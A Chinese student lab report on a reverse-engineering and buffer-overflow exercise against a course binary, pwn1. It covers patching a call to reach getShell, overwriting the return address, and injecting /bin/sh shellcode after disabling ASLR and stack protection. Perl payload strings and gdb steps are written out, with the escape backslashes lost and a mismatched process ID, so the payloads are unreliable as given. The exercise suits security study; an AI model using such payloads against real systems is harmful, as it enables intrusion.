2018-2019-2 20165209 《网络对抗技术》Exp1：PC平台逆向破解

1 逆向及Bof基础实践说明

1.1 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。
手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。

1.2 基础知识

常用的Linux基本操作
- objdump -d：从objfile中反汇编那些特定指令机器码的section。
- perl -e：后面紧跟单引号括起来的字符串，表示在命令行要执行的命令。
- xxd：为给定的标准输入或者文件做一次十六进制的输出，它也可以将十六进制输出转换为原来的二进制格式。
- ps -ef：显示所有进程，并显示每个进程的UID,PPIP,C与STIME栏位。
- |：管道，将前者的输出作为后者的输入。
- ：输入输出重定向符，将前者输出的内容输入到后者中。
NOP, JNE, JE, JMP, CMP汇编指令的机器码：
- NOP：NOP指令即“空指令”。执行到NOP指令时，CPU什么也不做，仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。（机器码：90）
- JNE：条件转移指令，如果不相等则跳转。（机器码：75）
- JE：条件转移指令，如果相等则跳转。（机器码：74）
- JMP：无条件转移指令。段内直接短转Jmp short（机器码：EB）段内直接近转移Jmp near（机器码：E9）段内间接转移 Jmp word（机器码：FF）段间直接(远)转移Jmp far（机器码：EA）
- CMP：比较指令，功能相当于减法指令，只是对操作数之间运算比较，不保存结果。cmp指令执行后，将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

2 直接修改程序机器指令，改变程序执行流程

知识要求：Call指令，EIP寄存器,指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具
学习目标：理解可执行文件与机器指令
进阶：掌握ELF文件格式，掌握动态技术

使用objdump -d pwn1 | more将pwn1反汇编，得到以下代码（只展示部分核心代码）：

修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff

 具体操作：   
    1. vi pwn1进入命令模式   
    2. 输入:%!xxd将显示模式切换为十六进制     
    3. 在底行模式输入/e8d7定位需要修改的地方，并确认   
    4. 进入插入模式，修改d7为c3   
    5. 输入:%!xxd -r将十六进制转换为原格式   
    6. 使用:wq保存并退出

再反汇编看一下，call指令是否正确调用getShell

输入./pwn1运行，可以得到shell提示符#

3 通过构造输入参数，造成BOF攻击，改变程序执行流

知识要求：堆栈结构，返回地址
学习目标：理解攻击缓冲区的结果，掌握返回地址的获取
进阶：掌握ELF文件格式，掌握动态技术

3.1 反汇编，了解程序的基本功能

利用foo()函数中buffer漏洞，输入足够长的字符串能够造成缓存区溢出，使其覆盖到返回地址。
输入足够长的字符串，把原来的返回地址覆盖成现在getshell()的起始地址。

3.2 确认输入字符串哪几个字符会覆盖到返回地址

具体操作：

   1. 输入gdb pwd1_2进行调试
   2. 输入r运行程序
   3. 输入字符串111111112222222233333334444444412345678发现已经造成溢出
   4. 输入info r 查看eip的值，发现输入的1234被覆盖到堆栈上的返回地址

只要把1234这四个字符替换为 getShell 的内存地址，输给pwn1，pwn1就会运行getShell。

3.3 确认用什么值来覆盖返回地址

正确应用输入 11111111222222223333333344444444x7dx84x04x08

3.4 构造输入字符串

由为我们没法通过键盘输入x7dx84x04x08这样的16进制值，所以先生成包括这样字符串的一个文件。x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键。

具体步骤：

   1. 输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
   2. 输入xxd input 查看input文件是否符合预期。
   3. 然后将input的输入，通过管道符“|”，作为pwn1_2的输入。即输入 (cat input; cat) | ./pwn1_2 input的输入

4. 注入Shellcode并执行

4.1 准备一段Shellcode

shellcode就是一段机器指令（code）
- 通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），
- 所以这段机器指令被称为shellcode。
- 在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。

4.2 准备工作

修改些设置。

具体步骤：

   1. apt-get install execstack //安装execstack命令
   2. execstack -s pwn1    //设置堆栈可执行
   3. execstack -q pwn1    //查询文件的堆栈是否可执行
   4. more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化 
   5. echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
   6. more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化

4.3 构造要注入的payload。

Linux下有两种基本构造攻击buf的方法：
- retaddr+nop+shellcode
- nop+shellcode+retaddr。
因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面。
简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边
我们结构为：nops+shellcode+retaddr。

具体步骤：

1. 输入 perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode

上面最后的x4x3x2x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
2. 输入 (cat input_shellcode;cat) | ./pwn1_3 
3. 再开另外一个终端，用gdb来调试pwn1这个进程，输入 ps -ef | grep pwn1_3 命令找到pwn1_3的进程号是：33282
4. 用 attach 33323 命令启动gdb调试这个进程
5. 通过设置断点输入 disassemble foo 来查看注入buf的内存地址
6. 输入 break *0x080484ae 设置断点，输入 c 继续运行，同时在pwn1进程正在运行的终端敲回车，使其继续执行。
7. 再返回调试终端，使用info r esp命令查找地址
8. 输入 x/16x 0xffffd2fc 命令查看其存放内容0x01020304 就是返回地址的位置。根据我们构造的input_shellcode可知地址应为 0xffffd300 
9. 输入 perl -e 'print "A" x 32;print "x00xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode 将之前的x4x3x2x1改为这个地址
10. 输入 (cat input_shellcode;cat) | ./pwn1_3 执行程序，攻击成功！

实验中遇到的问题及解决过程

问题：运行pwn1权限不够

解决：输入chmod +x pwn1后再运行即可

实验感想

第一次在对源文件进行反汇编之后，更改其中的内容，并且追踪寄存器地址。虽然之前有了解过缓存区溢出攻击，但是这是第一次实践，也让我觉得很有意思。指导再详细，还是需要实践才能真正的掌握，希望以后能更好的学习这门课程。
什么是漏洞？漏洞有什么危害？
- 缓冲区溢出就是输入的内容超过分配的缓冲区大小，溢出的内容没有被立刻检查，从而破坏堆栈覆盖原始数据，使得可以进行未授权的操作。
- 会导致程序运行失败、系统关机、重新启动，或者执行攻击者的指令。